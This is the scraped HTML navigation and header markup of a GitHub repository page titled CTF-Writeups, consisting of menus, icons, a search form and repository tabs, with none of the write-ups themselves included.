<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="119350190" data-scoped-search-url="/nguyenduyhieukma/CTF-Writeups/search" data-owner-scoped-search-url="/users/nguyenduyhieukma/search" data-unscoped-search-url="/search" data-turbo="false" action="/nguyenduyhieukma/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="2GykzFvgkxtUYRK+/NFg7xnLMteA64Mj5jBwfZY56eXZ2MC5GwLOGatmAxtvKaMWMq6sFJ81DeQnxFQWEJBeiQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> nguyenduyhieukma </span> <span>/</span> CTF-Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>75</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/nguyenduyhieukma/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights 